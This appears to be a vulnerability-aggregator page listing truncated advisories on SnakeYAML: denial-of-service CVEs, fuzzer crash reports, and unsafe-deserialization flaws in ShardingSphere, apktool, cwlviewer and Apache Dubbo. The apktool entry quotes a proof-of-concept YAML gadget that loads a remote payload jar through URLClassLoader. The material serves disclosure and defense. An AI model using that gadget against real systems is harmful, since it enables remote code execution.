Denial of Service (DoS)

Overview org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java. Affected versions of this package are vulnerable to Denial of Service DoS due to missing nested depth limitation for collections. NOTE: This vulnerability has also been identified as: CVE-2022-38749 Details Denial of Service D...

snakeyaml:YamlFuzzer: Uncaught exception in java.base/java.util.ArrayList.hashCode

Detailed Report: https://oss-fuzz.com/testcase?key=4919139099082752 Project: snakeyaml Fuzzing Engine: libFuzzer Fuzz Target: YamlFuzzer Job Type: libfuzzerasansnakeyaml Platform Id: linux Crash Type: Uncaught exception Crash Address: Crash State: java.base/java.util.ArrayList.hashCode...

snakeyaml:YamlFuzzer: Uncaught exception in java.base/java.util.regex.Pattern$Ques.match

Detailed Report: https://oss-fuzz.com/testcase?key=5110034188599296 Project: snakeyaml Fuzzing Engine: libFuzzer Fuzz Target: YamlFuzzer Job Type: libfuzzerasansnakeyaml Platform Id: linux Crash Type: Uncaught exception Crash Address: Crash State: java.base/java.util.regex.Pattern$Ques.match...

snakeyaml:YamlFuzzer: Uncaught exception in org.yaml.snakeyaml.constructor.BaseConstructor.constructObject

Detailed Report: https://oss-fuzz.com/testcase?key=5427149240139776 Project: snakeyaml Fuzzing Engine: libFuzzer Fuzz Target: YamlFuzzer Job Type: libfuzzerasansnakeyaml Platform Id: linux Crash Type: Uncaught exception Crash Address: Crash State:...

snakeyaml:YamlFuzzer: Uncaught exception in org.yaml.snakeyaml.composer.Composer.composeSequenceNode

Detailed Report: https://oss-fuzz.com/testcase?key=4626423186325504 Project: snakeyaml Fuzzing Engine: libFuzzer Fuzz Target: YamlFuzzer Job Type: libfuzzerasansnakeyaml Platform Id: linux Crash Type: Uncaught exception Crash Address: Crash State:...

PT-2022-6078

Name of the Vulnerable Software and Affected Versions SnakeYaml versions prior to 2.0 Bitbucket Data Center versions 7.17.x through 8.8.6 Bitbucket Server versions 7.17.x through 8.8.6 Confluence Data Center versions 6.13.x through 8.3.0 Confluence Server versions 6.13.x through 8.3.0 Description...

CVE-2022-25857 jruby/psych/snakeyaml: Denial of Service (DoS) due missing to nested depth limitation for collections

The package org.yaml:snakeyaml from 0 and before 1.31 are vulnerable to Denial of Service DoS due missing to nested depth limitation for collections. This package is bundled into Psych which is in turn bundled into jruby...

GHSA-V54F-XCMP-43CR Deserialization of Untrusted Data in Apache ShardingSphere

In Apache ShardingSphereincubator 4.0.0-RC3 and 4.0.0, the ShardingSphere's web console uses the SnakeYAML library for parsing YAML inputs to load datasource configuration. SnakeYAML allows to unmarshal data to a Java type By using the YAML tag. Unmarshalling untrusted data can lead to security...

Deserialization of Untrusted Data in Apache ShardingSphere

In Apache ShardingSphereincubator 4.0.0-RC3 and 4.0.0, the ShardingSphere's web console uses the SnakeYAML library for parsing YAML inputs to load datasource configuration. SnakeYAML allows to unmarshal data to a Java type By using the YAML tag. Unmarshalling untrusted data can lead to security...

Command Injection in ibotpeaches/apktool

Description Arbitrary code execution when an APK is built with a malicious apktool.yml due to SnakeYAML's load function Proof of Concept 1: Modify apktool.yml somevar: !!javax.script.ScriptEngineManager !!java.net.URLClassLoader !!java.net.URL "http://127.0.0.1:8000/yaml-payload.jar" 2: Download...

CVE-2021-23262 Snakeyaml deserialization vulnerability bypass

Authenticated administrators may modify the main YAML configuration file and load a Java class resulting in RCE...

CVE-2021-41110

cwlviewer is a web application to view and share Common Workflow Language workflows. Versions prior to 1.3.1 contain a Deserialization of Untrusted Data vulnerability. Commit number f6066f09edb70033a2ce80200e9fa9e70a5c29de dated 2021-09-30 contains a patch. There are no available workarounds asid...

Deserialization of untrusted data

cwlviewer is a web application to view and share Common Workflow Language workflows. Versions prior to 1.3.1 contain a Deserialization of Untrusted Data vulnerability. Commit number f6066f09edb70033a2ce80200e9fa9e70a5c29de dated 2021-09-30 contains a patch. There are no available workarounds asid...

CVE-2021-41110

cwlviewer is a web application to view and share Common Workflow Language workflows. Versions prior to 1.3.1 contain a Deserialization of Untrusted Data vulnerability. Commit number f6066f09edb70033a2ce80200e9fa9e70a5c29de dated 2021-09-30 contains a patch. There are no available workarounds asid...

CVE-2021-41110: Deserialization of Untrusted Data

cwlviewer is a web application to view and share Common Workflow Language workflows. Versions prior to 1.3.1 contain a Deserialization of Untrusted Data vulnerability. Commit number f6066f09edb70033a2ce80200e9fa9e70a5c29de dated 2021-09-30 contains a patch. There are no available workarounds asid...

Cwlviewer 代码问题漏洞

Cwlviewer is a web application for viewing and sharing workflows in the Common Workflow Language. A code issue vulnerability exists in cwlviewer that stems from the SnakeYaml constructor allowing parsing of any data...

PT-2021-23096

Name of the Vulnerable Software and Affected Versions cwlviewer versions prior to 1.3.1 Description cwlviewer is a web application to view and share Common Workflow Language workflows. It contains a Deserialization of Untrusted Data issue. The SnakeYaml constructor, by default, allows any data to...

GHSA-R577-4HQ7-73QH Remote Code Execution in Apache Dubbo

Apache Dubbo supports various rules to support configuration override or traffic routing called routing in Dubbo. These rules are loaded into the configuration center eg: Zookeeper, Nacos, ... and retrieved by the customers when making a request in order to find the right endpoint. When parsing...

Remote Code Execution in Apache Dubbo

Apache Dubbo supports various rules to support configuration override or traffic routing called routing in Dubbo. These rules are loaded into the configuration center eg: Zookeeper, Nacos, ... and retrieved by the customers when making a request in order to find the right endpoint. When parsing...

CVE-2021-36162

Apache Dubbo supports various rules to support configuration override or traffic routing called routing in Dubbo. These rules are loaded into the configuration center eg: Zookeeper, Nacos, ... and retrieved by the customers when making a request in order to find the right endpoint. When parsing...